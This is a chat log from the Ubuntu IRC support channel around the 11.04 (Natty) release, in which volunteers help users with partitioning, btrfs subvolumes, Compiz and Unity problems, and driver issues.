[02:58] <arand> thanos: Ok, if you mount that with th eoptions I gave, and look in /mnt, do you see your old data along with the new @home subvolume?
[02:58] <atpa8a> ohsix: oh :) i don't care which ever way it works
[02:58] <Jon4248> Soothsayer, some people just make a  /  mount
[02:58] <Soothsayer> Herbs, Jon4248 : /var is where MySQL, etc store the databases if I'm not mistaken ?
[02:58] <brewster> i have graphics and wireless drivers installed. will i lose them when i upgrade from 10.10 to 11.04?
[02:59] <Andrey_BTI> I try connect third time and i recieve messages - i can't recieve shared folders. I install ubuntu 11 now, a didn't change anythings
[02:59] <atpa8a> ohsix: so far neither method is working
[02:59] <Jon4248> Soothsayer, **shrugs***
[02:59] <Soothsayer> Jon4248: ?
[02:59] <ohsix> atpa8a: ok, well in the fwcutter package theres a script that will install it for you
[02:59] <Jon4248> Dont use MySQL lol
[02:59] <mickster04> shane4ubuntu: ?
[02:59] <celeryman> ubuntu 11.04 shotwell does nothing when selected to open?
[02:59] <Soothsayer> Jon4248: oh c'mon, thats unjustified...
[02:59] <robin0800> brewster, it depends on the hardware
[02:59] <ohsix> atpa8a: dpkg -L b43-fwcutter will list the files installed & the script's name will be in there
[02:59] <shane4ubuntu> I just looked, and it isn't there mickster04, I guess I need to install compiz?
[02:59] <Herbs> soothsaye sometimes it does depends on the build if you use Plesk it will be var but you can always sym link it to another partition if you run out of space
[03:00] <Andrey_BTI> and server with russian name don't showing correctly, language updates was installed
[03:00] <taglass> Soothsayer: I think he was saying that he doesn't use it.
[03:00] <Soothsayer> taglass: then it wouldn't have needed the 'lol' :)
[03:00] <arand> gogeta: btrfs does not need an ext boot for grub, however it will report an error which you will have to press out of on each boot if you do not have one.
[03:00] <Jon4248> Soothsayer, lol...google tells me yes http://www.google.ca/#hl=en&biw=994&bih=898&q=%2Fvar+mysql&aq=f&aqi=&aql=&oq=&fp=1246a8259bf2a1fa
[03:00] <brewster> nvidia graphics controller and broadcom wireless drivers
[03:00] <Soothsayer> ok
[03:00] <Helpme> does 11.4 fix the pulse audio stuttering problem in 10.10
[03:00] <Nightshade_> updating to natty now
[03:01] <Soothsayer> ok now im totally confused as to how much size to give each
[03:01] <Bronz> Oh, lots of traffic. I hope I get some attention. I just downloaded 11.04 and tried to run it, but the graphical environment would fail to load. I'd get the "ubuntu" splash screen (with the progressive dots), then blink to a garbage screen of static, and the computer would freeze. I have a run-of-the-mill 2Ghz AMD machine, my video card is an NVIDIA GeForce 7800 GT, 256Mb... If I can get it to boot the graphical environment, I should be fine.
[03:01] <arand> gogeta: I think this is in the relese notes...
[03:01] <thanos> arand_, ok wait to reboot
[03:01] <Soothsayer> what size should each mount point / partition be?
[03:01] <Jon4248> Soothsayer, thats up to your needs
[03:01] <Soothsayer> I had allocated 60 gb to this ext4 earlier assuming it would be the single mount point /
[03:01] <arand> thanos: Reboot won't change anything regarding the btrfs..
[03:01] <robin0800> brewster, yes you will have to reinstall them I expect
[03:01] <MarcN1> ohsix: https://bugs.launchpad.net/ubuntu/+bug/772859
[03:01] <ubottu> Ubuntu bug 772859 in Ubuntu "BCM4311 wifi hangs hp2133 notebook after 2 minutes" [Undecided,New]
[03:01] <brewster> darn
[03:01] <arand> thanos: Since no changes have been made yet..
[03:01] <Xylch> My notify-osd is not displaying any popups, can someone help me fix it?
[03:01] <Helpme> can somebody tell me if 11.4 fixes pulseaudio suttering problem?
[03:01] <Jon4248> Soothsayer, then delete the  / mount and recreate it...and then the others...say 20gigs each?
[03:02] <gogeta> arand: wow i asked that like forever ago
[03:02] <Herbs> soothsayer remember to put mount points of /var /etc on any other partitions you create for them
[03:02] <thanos> arand_, i made some updates and need reboot
[03:02] <Soothsayer> Herbs: ok.
[03:02] <arand> gogeta: Heh, I did a /lastlog btrfs ;)
[03:02] <thanos> arand_, brb
[03:02] <atpa8a> hey... what's the problem with btrfs?
[03:02] <ohsix> MarcN1: i had a freeze problem with mine too; it would prevent it from booting though, ssb/b43 had a problem that when they were loaded it'd succeed without a freeze less than half the time, that' was awesome
[03:02] <Soothsayer> Jon4248, Herbs: what else goes in /var ? (Besides MySQL which im aware of)
[03:02] <ohsix> MarcN1: but i got it fixed by talkingwith the developer :]
[03:02] <Ctown> How can I force new application to open in an _empty_ workspace, instead of stacking in one?
[03:02] <shane4ubuntu> unity and desktop cube?  no?  I tried to enable it, and that didn't go over well.
[03:03]  * atpa8a likes btrfs
[03:03] <MK``> Andrey_BTI : if you want to chat in russian
[03:03] <MK``> !ru
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[03:03] <Herbs> soothsayer logs mostly
[03:03] <victory747> I noticed on http://www.ubuntu.com/ubuntu/features/office-applications that "Quicken" is listed as available in the Ubuntu Software Center.  But I don't see quicken in there. Is quicken available for Ubuntu? Or are they just saying this meaning HomeBank or GNUCash?
[03:03] <Nightshade_> shane4ubuntu, really? that sucks
[03:03] <Jon4248> Soothsayer, my var has backups  cache  crash  games  lib  local  lock  log  mail  opt  run  spool  tmp
[03:03] <spungo> On an Asus eee 900 is there a way to scale the cpu down from 900mhz while still on AC power?
[03:03] <Soothsayer> I'm going to be mainly using this workstation for web / database development.
[03:03] <ohsix> MarcN1: oh that's what you posted, thanks for filing a bug
[03:03] <Herbs> if you use qmail sometimes that use /var also
[03:03] <shane4ubuntu> half of the warning box is off the screen so I can read it.  ugg.
[03:03] <RedLance> Ok...before I upgrade to Ubuntu 11, how can I figure out why 10 crashes my system, when 9 dosen't?
[03:03] <Soothsayer> Jon4248: I see.
[03:03] <arand> atpa8a: Likewise, (In noted that you can use btrfs without /boot, though you will see an error each boot and need to press to continue.)
[03:03] <gogeta> arand: so it can be a pure root fs now grub2 finnly supports it
[03:03] <MarcN1> ohsix: tomorrow I'll grab bcmwl-kernel-source and try that route.  Maybe just wipe and see how the install goes.
[03:04] <nandaram> hello massively sized channel
[03:04] <Jon4248> hello nandaram
[03:04] <gogeta> arand: i did a diffrent hack to install os on compressed fs
[03:04] <Nightshade_> so anyone who wants to pm me about your first impressions of natty
[03:04] <ohsix> MarcN1: can you try installing linux-backports-modules-net-natty-generic and see if it still freezes after a reboot?
[03:04] <ohsix> MarcN1: that's one of the first thing someone will ask you to try
[03:04] <nandaram> may i ask for the simpist procedure to get 8 ttys on default boot
[03:04] <Soothsayer> Do you guys normally store your data files under the /home directory? Like say documents, pictures, reports, code projects, design projects, etc?
[03:04] <gogeta> arand: full kubuntu install btrfs compressed 1.2 gb
[03:04] <Jon4248> Nightshade_, Natty rocks
[03:04] <mordof> ok, got Natty finally loaded
[03:04] <ohsix> Soothsayer: yep, i do
[03:05] <taglass> Soothsayer: I do
[03:05] <nowherefast> what version of ubuntu is natty?
[03:05] <Jon4248> Soothsayer, yes, thats the idea of home
[03:05] <Herbs> soothsayer but if you run out of space you can always sym link to another partition
[03:05] <ohsix> Soothsayer: i also tried to ask you before you left, what crashes?
[03:05] <mordof> nowherefast: 11.04
[03:05] <arand> gogeta: grub doesn't support it completely, the grubenv file can't be written to it seems, which is what makes it error
[03:05] <nandaram> fyi im drunk as hell and running a new version
[03:05] <mordof> nowherefast: 11*
[03:05] <Nightshade_> Jon4248, i just wanted to know what to expect cuz im upgrading right now ^_^
[03:05] <MarcN1> Soothsayer: yes that is standard use of /home
[03:05] <mordof> anyone know if it's possible to dock the launcher on the bottom of the screen?
[03:05] <gogeta> arand: still bootable?
[03:05] <arand> gogeta: It is normally not needed, but it causes issues though.
[03:05] <mordof> i use dual monitor and the launcher is in a VERY boad spot!
[03:05] <Jon4248> ah
[03:05] <Soothsayer> ohsix: Sorry if I left abruptly. What crashes where? Refresh my memory please
[03:05] <amy_> I just upgraded to Natty Narwhal (11.04) and my desktop seems to have changed quite a bit. Can I revert to the classic look, rather than the scrolling sidebar thing?
[03:05] <Soothsayer> Herbs: oh ye symlink it.
[03:05] <Soothsayer> ok
[03:05] <robin0800> mordof, no
[03:06] <atpa8a> arand: does that error not timeout?
[03:06] <mordof> robin0800: it's not possible or you don't know?
[03:06] <gogeta> arand: well i made a 100mb ext4 anyways
[03:06] <Jon4248> amy_, logout and select classic then login
[03:06] <nandaram> is there documentation for upgrade from old long term to new long term
[03:06] <gogeta> arand: being i never got a answer
[03:06] <IdleOne> amy_: yes, you need to log out and at the login screen click on the Session button at the bottom
[03:06] <shane4ubuntu> ohhh, great, I messed with compiz and now unity is broken, no menus, no sidebar thingy  that isn't good
[03:06] <arand> gogeta: You get a "press any key to continue", but otherwise seems fine, I'm not sure how it works with non-standard stuff like compression and so, presumably it should be fine..
[03:06] <lestat_> lol
[03:06] <Herbs> soothsayer yeah a sym link i.e ln -s /var/home/var
[03:06] <shane4ubuntu> alt-tab does nothing
[03:06] <gogeta> arand: but with the zlib enabled i got more space outta my ssd anyways
[03:06] <nandaram> does anyone know what an inittab is?
[03:06] <robin0800> amy_, yes logout and choose classic
[03:06] <Herbs> soothsayer yeah a sym link i.e ln -s /var/ home/var (correction)
[03:06] <kzman> hi, i cant change the display brightness, on ubuntu, is a driver missing?
[03:06] <shane4ubuntu> alt-f2 does nothing!
[03:07] <neo_> hello everyone, I'm writing a document about linux cluster solution. http://netkiller.github.com/solution.html
[03:07] <arand> gogeta: I've got to test that at some point, is it possible to set compression up via the installer?
[03:07] <nandaram> shane4ubuntu: ctrl+alt+f2
[03:07] <celeryman> does anyone know how to get shotwell working in 11.04, does nothing when trying to open
[03:07] <shane4ubuntu> any ideas on how to fix this?  apparently compiz and unity are not friendly with each other
[03:07] <Herbs> that will then put anything written to /var to /home/var in that example
[03:07] <gogeta> arand: its it takes a hack to do it bascily as soon as the installer make the part you remount it with the compression flage
[03:07] <mordof> robin0800: k... i get that it matches the design - but there's glitches/bugs when using two monitors (one to the left of the launcher) ;_;
[03:07] <mordof> this isawful!!!
[03:07] <thanos> arand, what can i do now
[03:07] <Nightshade_> shane4ubuntu, i dont know yet, havent had a chance to look at it
[03:07] <gogeta> arand: its aculy very responsiv
[03:07] <rileyp> is there any way a remote can letters in x with 1 -9 buttons
[03:07] <shane4ubuntu> nandaram: that is a virtual terminal what do I do once I'm there?
[03:07] <Soothsayer> Jon4248, Herbs, ohsix, taglass: So 20 GB for UbuntuOS ( sda1 with mount point '/' ),  100 GB for data files ( sdb1 with mount point '/home') , 100 GB for databases, etc ( sdb2 with mount point '/var' ) ? <--- makes sense?
[03:07] <Andrey_BTI> !ru
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[03:08] <gogeta> arand: better then when it was uncompressed
[03:08] <nandaram> shane4ubuntu: default install pulls up 6 ttys you fucked your xserver im drunk pm me ill swear in channel getting compiz up in ubuntu should be cake work
[03:08] <arand> gogeta: So basically you halt after partitioning step in d-i and remount?
[03:08] <tase> Is it possible to /not/ download stuff when installing ubuntu ?
[03:08] <nandaram> and these ppl suck so im out... seriously where the fuck is the default boot spread threw
[03:08] <arand> thanos: Ok, re-do the mount I gave you
[03:08] <robin0800> mordof, thats a bug
[03:08] <gogeta> arand: naa the installer does a few things before it acully copys files just do it then
[03:08] <amorton> is it possible to share a DVD burner over the network, so it can be used directly from a netbook without one?
[03:08] <shane4ubuntu> nandaram: I like the channel no swear policy thanks anyway
[03:08] <arand> thanos: Do this "sudo mount /dev/sdXY /mnt -o defaults,subvolid=0"
[03:08] <amorton> both using ubuntu
[03:08] <gogeta> arand: it doesent notec the swap out
[03:08] <ManateeLazyCat> I shouldn't install Ubuntu-11.04 or Gnome3
[03:09] <Jon4248> shane4ubuntu, ctrl+alt+f1 >> then login >> type sudo service gdm restart
[03:09] <thanos> arand, ok
[03:09] <ChronicSyncope> well F. how do i get compiz working in unity? right now it just disappears everything.
[03:09] <shane4ubuntu> Jon4248: is that going to reboot it?
[03:09] <arand> thanos: then have a look in /mnt.
[03:09] <Herbs> soothsayer yeah that looks fine although you might not need 20gb for /
[03:09] <ManateeLazyCat> I'm a keyboard guy, i hate any system eat my keyshortcut and i even can't chane it.
[03:09] <OchoZero9> So what's the deal with the 3D?
[03:09] <mordof> anyone know where i'd report bugs about the Unity launcher in Natty?
[03:09] <OchoZero9> why it doesnt work for me?
[03:09] <Jon4248> shane4ubuntu, yes, the gdm
[03:09] <gogeta> arand: in fedora you can just add the flage ubuntu hasent added it yet
[03:09] <mordof> i've got 2 that need addressing >.<;
[03:09] <arand> thanos: Do you see your old data along with the new @home subvolume?
[03:09] <shane4ubuntu> Jon4248: but if the settings in compiz aren't right, then that won't change them right?
[03:10] <thanos> arand, cant open this folder
[03:10] <litropy> What's the version number of the next alpha?
[03:10] <gogeta> arand: so after install you gotta add the flage back to fstab as well
[03:10] <litropy> e.g. 11.04
[03:10] <arand> gogeta: Ubuntu support for btrfs is kinda wonky..
[03:10] <gogeta> arand: but it works
[03:10] <Helpme> can someone help me?
[03:10] <rileyp> OchoZero9,  perhaps you have 2d eys
[03:10] <Soothsayer> Herbs: Maybe for the softwares, etc I install?
[03:10] <Jon4248> shane4ubuntu, maybe
[03:10] <ohsix> Soothsayer: you said you were doing raid for robustitigitation in face of crashes, what crashes?
[03:10] <shane4ubuntu> Jon4248: seems as though I have lost the windows manager, how can I restart it?
[03:10] <OchoZero9> what utility can i run so it can tell me the specs of my device?
[03:10] <robin0800> mordof, believe if you now swap over monitors its alright
[03:10] <taglass> litropy: 11.10
[03:10] <arand> thanos: "cd /mnt; ls" ?
[03:10] <Herbs> soothsayer depends on what you install if you can spare it then use it
[03:10] <Helpme> my audio in 10.10 stutters.
[03:10] <Soothsayer> ohsix: wow, robustitigitation :) nice term.. hard disk crashes I meant back then.
[03:11] <thanos> yes its stack
[03:11] <woodn> Having some problems with crypt and Jabberd2 following an upgrade to natty...
[03:11] <Jon4248> shane4ubuntu, do you have auto login on?
[03:11] <amorton> is it possible to share a DVD burner over the network, so it can be used directly from a netbook without one?
[03:11] <OchoZero9> It should have no problem running 3D . since windows aero works fine, and starcraft II works fine too
[03:11] <rileyp> is there any way a remote can type letters in x with the 1 -9 buttons
[03:11] <zapradical> i like turtles... and ubuntu 11.04.
[03:11] <mordof> robin0800: i just updated to 11.04 today. if i move my mouse over to the second monitor - hover text sticks until moving back
[03:11] <Bronz> Oh, lots of traffic. I hope I get some attention. I just downloaded 11.04 and tried to run it, but the graphical environment would fail to load. I'd get the "ubuntu" splash screen (with the progressive dots), then blink to a garbage screen of static, and the computer would freeze. I have a run-of-the-mill 2Ghz AMD machine, my video card is an NVIDIA GeForce 7800 GT, 256Mb...
[03:11] <shane4ubuntu> Jon4248: no,
[03:11] <thanos> arand, ls stack
[03:11] <woodn> basically - if i try to use crypted passwords in the config - it crashes and complaints about an undefined symbol crypt
[03:11] <Soothsayer> Herbs: ye I can spare it now.. shrink it later maybe.. plus I might want to virtualize Windows 7 within Ubuntu too.. maybe virtualbox or vmware.
[03:11] <woodn> anyone around here maybe have any experience in this area?
[03:11] <mordof> robin0800: in a particular manner at that too.  as well, when moving placements, instead of the anim snapping to the unity bar - they snap to the very left of the desktop (the far monitor)
[03:12] <Jon4248> shane4ubuntu, reboot (sudo shutdown now -r) and then log into classic desktop (no effects)
[03:12] <ohsix> Soothsayer: ah
[03:12] <Herbs> soothsayer no dont shrink later just use symlinks to it
[03:12] <ohsix> Soothsayer: for each disk you increase your odds of disk failure :D
[03:12] <Surlent777> hey guys, just had a quick question: I changed the GTK theme in Natty, and I notice most themes create an unsightly black triangle in the resizing corner. Any known way to eliminate that?
[03:12] <mordof> robin0800: the second one isn't quite as big of a deal.. but the first one is bugging the hell out of me
[03:12] <spungo> How do I enable CPU frequency scaling? [Asus eee 900] It should drop to 620mhz on battery, but doesn't [Ubuntu 10.10]
[03:12] <OchoZero9> The video is built in the processor on a separate die. Intel HD graphics
[03:12] <Jon4248> shane4ubuntu, reconfigure compiz, logout and log back into unity
[03:12] <arand> thanos: Hmm, that is odd..
[03:12] <ohsix> spungo: you shouldn't have to enable anyhting it should just work
[03:12] <robin0800> mordof, just report them as bugs in unity 3d
[03:12] <celeryman> anyone familier with shotwell
[03:12] <thanos> arand, yes
[03:13] <rileyp> OchoZero9,  you wont get 3d with that then
[03:13] <ohsix> spungo: try installing powertop and running it for a while, it might be able to tell you what's keeping it from clocking down; and will tell you what states it's been in and for how long
[03:13] <shane4ubuntu> Jon4248: ok, but I'm not sure what to reconfigure compiz back to, I didn't realize it was going to mess up unity with just two clicks of a mouse
[03:13] <Soothsayer> Herbs: isn't making too many partitions on the same disk getting redundant?
[03:13] <arand> thanos: I'm not sure then, I guess you could try it from a liveCD instead..
[03:13] <Jon4248> shane4ubuntu, what did you change?
[03:13] <Soothsayer> ohsix: well, i distribute the odds rather :)
[03:13] <ohsix> rileyp: he should, sandybridge and ironlake are supported by the drivers ...
[03:13] <spungo> ohsix: cat /proc/cpuinfo says it's still at 900mhz.
[03:13] <thanos> arand,  can i recover the data?
[03:13] <rileyp> oh ok
[03:14] <ohsix> spungo: it might at any given time; that's not an appropriate way to check it
[03:14] <rileyp> oh six really 3d?
[03:14] <shane4ubuntu> Jon4248: I was going to enable the desktop cube, and then all the warnings popped up mostly off the screen so I couldn't see them.
[03:14] <arand> thanos: I had a user before with the same issue, and this worked in that instance
[03:14] <cranch> can anyone help me with an apache2 issue?  whenever I go to my site via my dyndns name it changes ht eURL in the browser to my IP address
[03:14] <Soothsayer> ohsix: anyway, I decide to not do any software raid-1.. manually backup stuff instead.
[03:14] <ohsix> Soothsayer: good idea
[03:14] <shane4ubuntu> Jon4248: so trying to click through them without knowing what they said, I'm not really sure what I did.
[03:14] <ohsix> Soothsayer: it makes you think about it too; it's a handy device
[03:14] <Herbs> soothsayer not that Im aware of Im a Red hat admin I look after alot of red hat and centos boxes it will always have its uses installing on one partition increases any recovery time
[03:14] <zapradical> are there themes for the empathy irc interface?  im not a fan of the bubbles.
[03:14] <mordof> also getting rather poor desktop performance...
[03:14] <mordof> :\
[03:15] <OchoZero9> mordof: I'm not getting any desktop performance
[03:15] <ohsix> zapradical: i don't know about any themes, but there are a handful of appearances that come with it that you can pick from in the options
[03:15] <OchoZero9> is there a #unity ?
[03:15] <mordof> OchoZero9: ?
[03:15] <Surlent777> zapradical: it should take whatever theme you give it in the options. I think it should ship with three or four by default
[03:15] <Jon4248> shane4ubuntu, try this in a terminal gconftool-2 --recursive-unset /apps/compiz
[03:15] <thanos> arand,  someone told me there is problem with fsck.btrfs
[03:15] <mordof> OchoZero9: i mean everything is slow
[03:15] <Jon4248> shane4ubuntu, logout and login
[03:15] <xtr3m3> anyone having issues with freezing/crashing on restart, after upgrading to 11.04?
[03:15] <robin0800> shane4ubuntu, ubuntu don't want you using ccs Mark has said so they are not for users
[03:15] <Soothsayer> Herbs: ok, so final call on '/' mount point size then?
[03:15] <bittyx-laptop> hey, i've downloaded the 11.04 iso image, and i'm supposed to burn it, but i don't have any empty cd's nearby. i do have dvd's though - can i use a dvd as well?
[03:15] <rileyp> cranch,  if your ip address is in /etc/hosts it will use dns name I think
[03:15] <OchoZero9> mordof: sorry about that. I just don't have unity for whatever reason
[03:15] <zapradical> Surlent777: i dont seem to have an Options menu entry in empathy
[03:16] <arand> thanos: Basically, what the problem is MM uses the top-level of the btrfs and dumps all files there, wheras NN sets up subvolumes under the top-level and mounts these instead. This has nothing to do with btrfsck.
[03:16] <mordof> OchoZero9: ah - wasn't referring to Unity directly, but that would definately be troublesome
[03:16] <shane4ubuntu> robin0800 then how do you change them?
[03:16] <Herbs> soothsayert 20gb is fine if you can spare it Id go with a 10gb min
[03:16] <spungo> bittyx-laptop: yes
[03:16] <cranch> rileyp: so just write an entry in /etc/hosts with IP - fqdn?
[03:16] <bittyx-laptop> spungo: thanks.
[03:16] <Soothsayer> Herbs: ok.
[03:16] <spungo> bittyx-laptop: welcome.
[03:16] <ohsix> zapradical: from the mainui, edit -> preferences -> themes tab
[03:16] <Soothsayer> i almost deleted my Windows partition... Jon4248, you jinxed me earlier!
[03:17] <arand> thanos: Your current NN install is mounting the subvolume, and hence you cannot see the old home files which are in fact above it in the tree.
[03:17] <thanos> arand,  any tool to recover to scan the partition to find the files?
[03:17] <robin0800> shane4ubuntu, you don't thats the point later there will be a proper gui
[03:17] <gogeta> arand: well ill try to install on a zlib compressed root grub2 and see if the system explodes
[03:17] <Jon4248> Soothsayer, lol carefully now...you should really have a backup anyways...but im sure you thought of that right?
[03:17] <malv> so what do I do if I have a program that needs the system tray like jupiter?
[03:17] <OchoZero9> how do you get your system information like processor memory graphics?
[03:17] <rileyp> cranch if you put an ip adress and its dns name in /etc/hosts rather than typeingthe ip in you can simply type the dns name
[03:17] <arand> thanos: No, mounting the top-level with the command give should be enough.
[03:17]  * SuBmUnDo is away: http://submworld.blogspot.com/
[03:17] <Surlent777> OchoZero9: sudo lshw | less
[03:17] <gogeta> arand: ill be compressing everything now even the kernel
[03:17] <shane4ubuntu> Jon4248: hmm, that didn't seem to fix it, still no windows manager.
[03:18] <cranch> rileyp: oh this is external
[03:18] <shane4ubuntu> brb]
[03:18] <ohsix> SuBmUnDo: don't spam the channel please, with away messages or url's
[03:18] <cranch> port-forwarded out the FW
[03:18] <arand> thanos: Did you use any non-standard options for btrfs, compression or so?
[03:18] <Jon4248> shane4ubuntu, at this point you could of reinstalled natty by now...you might as well do that.
[03:18] <xangua> !away > SuBmUnDo
[03:18] <ubottu> SuBmUnDo, please see my private message
[03:18] <cranch> go to dyndns entry from the outside and it rewrites the dyndns to my external IP
[03:18] <dtcummin> How can I extned an extended partition to consume some freed from another primary partition?
[03:18] <mordof> running a gtx 460 nvidia - i checked Additional Drivers, and it says my nvidia driver is activated but not currently in use.  i'm running Natty, what does that mean? do i have to enable it or is it not needed?
[03:18] <celeryman> ubuntu 11.04 shotwell help please
[03:18] <Herbs> 0choZero9 top
[03:18] <mordof> i'm experiencing slow performance for visuals..
[03:18] <Soothsayer> Jon4248: I did have 'critical' stuff backups.. but not for level 2 and level 3..
[03:18] <arand> gogeta: Do expect it to break, and account for that ;)
[03:19] <Soothsayer> so ye, ill be careful instead, simpler than backing those up.
[03:19] <gogeta> arand: just a test heh
[03:19] <ChronicSyncope> so how do i get my wobbly windows back?
[03:19] <Jon4248> Soothsayer, ah
[03:19] <gogeta> arand: test machine'
[03:19] <OchoZero9> thx Surlent777 & Herbs
[03:19] <ohsix> ChronicSyncope: ccsm, enable the wobbly plugin
[03:19] <Jon4248> ChronicSyncope, install ccsm enable wobbly
[03:19] <zapradical> Surlent777: thx i found it, i was in the wrong window
[03:19] <gogeta> arand: i kneo it work fine with grub2 having a ext4 boot
[03:19] <rileyp> cranch isnt that what its supposed to do
[03:19] <thanos> arand,  i tried to make install before and stack 2 times and i left this partiotion and made it again
[03:19] <bkerensa> Help!.... I am trying to do the Natty upgrade from 10.10 but the download speeds on the repo are insane slow... My eta is over 7 hours.... I have plenty of bandwidth
[03:19] <ChronicSyncope> whenever i enable composite my desktop breaks
[03:19] <mordof> "unable to location package ccsm"
[03:20] <ChronicSyncope> actually no
[03:20] <Surlent777> bkerensa: that's just the way it is. Everyone and their mother is upgrading today
[03:20] <cranch> rileyp: I'd assume it keeps the dydns name in it the whole time
[03:20] <arand> gogeta: Yea, I've worked through a bunch of kvms poking into btrfs =)
[03:20] <ChronicSyncope> its just not wobbling.
[03:20] <ohsix> gogeta: arand knows a lot about using btrfs, and the different filesystems generally aren't comparable on those terms; you should just listen to him
[03:20] <dtcummin> How can I extend an extended partition to consume some freed space from another primary partition?
[03:20] <ChronicSyncope> Jon4248, i check the box, enable opengl and composite, but nothing happen.s
[03:20] <gogeta> ohsix: yea i wasent having a issue i got the entire os compressed in a sabble state
[03:20] <bkerensa> Surlent777: Do you know if they intend to keep the Classic option on Natty or eventually force Unity?
[03:20] <ohsix> ChronicSyncope: you should be using the opengl plugin, i really don't like how they split that in .9
[03:20] <arand> ohsix: gogeta knows as well..
[03:20] <ohsix> arand: noted
[03:21] <ChronicSyncope> ohsix, how do i do that?
[03:21] <thanos> arand,  i m dummy and i didn't do nothing the only options from install
[03:21] <Surlent777> bkerensa: I understand they're keeping it for now but intend to eventually discontinue it, but don't quote me on that
[03:21] <Jon4248> ChronicSyncope, video card drivers maybe?
[03:21]  * SuBmUnDo is back (gone 00:03:25)
[03:21] <Soothsayer> A partition can fetch unallocated space from both the left and the right too?
[03:21] <Jon4248> ChronicSyncope, what video card you using?
[03:21] <ohsix> ChronicSyncope: just enabling it should be enough, if your video card can actually manage
[03:21] <Herbs> bkenrensa use another mirror / contact your isp or just accept the servers are busy
[03:21] <ChronicSyncope> ohsix, it's making me turn on composite and opengl
[03:21] <robin0800> bkerensa, unity 3d and unity 2d I think
[03:21] <SuBmUnDo> auto away sorry
[03:21] <bkerensa> Surlent777: Hmm so if I prefer classic perhaps staying with 10.10 might be best bet
[03:21] <rileyp> cranch, try the apche channel perhaps I dunnu much about it
[03:21] <celeryman> is there another place i can get help for ubuntu 11.04?
[03:21] <ChronicSyncope> Jon4248, GTX 460 768MB
[03:21] <cranch> np thanks for the help!
[03:21] <bkerensa> Surlent777: I just dont like the integrated menus... I hate it.... I love classic panels
[03:22] <Surlent777> bkerensa: possibly, but that won't be supported forever, and does work just fine in Natty
[03:22] <cranch> now to run this VM through the 11.04 upgrade
[03:22] <bjhaid> i am trying to pull a video off youtube with youtube-dl, each time i try it keeps returning ERROR: format not available for video
[03:22] <mordof> ChronicSyncope: almost same one i have - but i'm on the fermi 1gb
[03:22] <gogeta> ohsix: gonna see if grub blows up in my face if i put it in zlib compression as well
[03:22] <ChronicSyncope> ohsix, i just upgraded today, everything was working an hour ago :p I have a GTX460 so i'm sure my card will support it
[03:22] <rileyp> np cya
[03:22] <ohsix> celeryman: nobody has seen your problem, most likely; i know i havent, and i use shotwell
[03:22] <Surlent777> bkerensa: Just choose Ubuntu Classic at the login screen
[03:22] <ymasory> hmm alt as meta no longer works in terminal in 11.04. alt seems to cause the terminal to lose focus or something. anysolutions?
[03:22] <shane4ubuntu> Jon4248: are you kidding???  I just about got through setting up my install, I can't believe it was that easy to break unity, they should have a great big warning label on compiz
[03:22] <Bronz> Help please: I'm trying to boot into the liveCD (not install), and the computer will freeze upon starting the graphical environment. I'd get the "ubuntu" splash screen (with the progressive dots), then blink to a garbage screen of static, and the computer would freeze. I have a run-of-the-mill 2Ghz AMD machine, my video card is an NVIDIA GeForce 7800 GT, 256Mb...
[03:22] <thanos> arand, if helps you this : http://paste.ubuntu.com/600561/
[03:22] <OchoZero9> it may not be detecting my graphics correctly
[03:22] <arand> thanos: Hmm, then I'm afraid I'm not actually sure, you could try doing the same thing from recovery mode, or from a liveCD, if it is somehow dependent on not having the /home mounted, which it really shouldn't..
[03:22] <Ziber> Having a lot of trouble with my mic on skype on 10.10. Any ideas?
[03:22] <dtcummin> How can I extend an extended partition to consume some freed space from another primary partition?
[03:22] <shane4ubuntu> Jon4248: I will go back to the classic desktop before I re-install, that is just absurd.
[03:22] <ohsix> ChronicSyncope: yea but it might not with nouveau; so you'd additionally need to try the proprietary driver
[03:22] <HyperSh0ck> hey guys. what is the solution when gnome or nautilus suddenly stops opening folders and mounts for file access but instead runs them through a program, for instance mine is running them through gedit for some unknowable reason....?
[03:22] <Jon4248> shane4ubuntu, lol
[03:23] <Slimcea_boy> If I want to try gnome3, what PPA should I be installing from?
[03:23] <Herbs> dtcummin you cant
[03:23] <bkerensa> Surlent777: Yeah but when/if they discontinue classic in Natty then I gotta do a workaround to keep classic and that wont be fun?
[03:23] <celeryman> i am having an issue with trying to start shotwell, does absolutely nothing when trying to open it,
[03:23] <rileyp> Ziber problem exactly?
[03:23] <ChronicSyncope> ymasory, it seems to make everything lose focus in my experience, and then you have to log out to restart x so you can start metacity again
[03:23] <Jon4248> ChronicSyncope, open additional drivers
[03:23] <shane4ubuntu> Jon4248: someone must have a way of fixing this, I mean, it shouldn't be that easy to break it.
[03:23] <gogeta> arand: gotta admit the entire os installed at 1.2gb is impressiv
[03:23] <Ziber> rileyp: Built in mic isnt working
[03:23] <ohsix> HyperSh0ck: the mime type for folders got changed to open with gedit, if you right click on a folder you can have it open with nautilus again
[03:23] <cvrser> dtcummin: have u already got 4 primary partitions?
[03:23] <ChronicSyncope> ohsix, Jon4248  proprietary nvidia driver? I 've been using that
[03:23] <Surlent777> bkerensa: the discontinuation, if any, would occur in future releases. Natty itself will remain unaffected
[03:23] <gogeta> arand: for a 4gb ssd
[03:23] <dtcummin> cvrse, yes
[03:23]  * HyperSh0ck gives mad love to ohsix!
[03:23] <ohsix> ChronicSyncope: dunno what to say
[03:23] <ChronicSyncope> ohsix, Jon4248 it says "active but not in use"
[03:24] <arand> thanos: Oh, your new /home is ext4 then?
[03:24] <mordof> ChronicSyncope: same with mine :o
[03:24] <dtcummin> cvrser, yes
[03:24] <Jon4248> Jon4248, someone must...but not me..lol...have you tried to restart?
[03:24] <Soothsayer> Jon4248, Herbs, ohsix : For the '/home' and '/var' mount points, should I be creating "Primary Partitions"  or "Extended Partitions"
[03:24] <xsinick> ok the  new 11.04 is shitty
[03:24] <Soothsayer> ?
[03:24] <ohsix> ChronicSyncope: then it's probably using nouveau; i don't know how to make it "in use"
[03:24] <ohsix> xsinick: #ubuntu-offtopic, this is a support channel
[03:24] <ChronicSyncope> ohsix, what is nouveau?
[03:24] <thanos> arand, yes i did new install to have ubuntu
[03:24] <Soothsayer> xsinick: please, thats criticism that doesnt help anything or anyone.
[03:24] <arand> thanos: if you log in dmesg, or the kernel log, does it show any error messages? /var/log/*
[03:24] <ohsix> xsinick: there were many months of prereleases where you could have provided feedback
[03:24] <Jon4248> Soothsayer, i just pick whatever is default.
[03:25] <Soothsayer> Primary
[03:25] <Soothsayer> ok
[03:25] <ohsix> (but still not here, t his is a support channel)
[03:25] <Herbs> it doesent matter as long as you not going to make more than 45 partitions
[03:25] <xsinick> but thses are so clear
[03:25] <ohsix> ChronicSyncope: the open source 3rd party nvidia driver
[03:25] <Herbs> 4 not 45
[03:25] <thanos> arand,  how to see this?
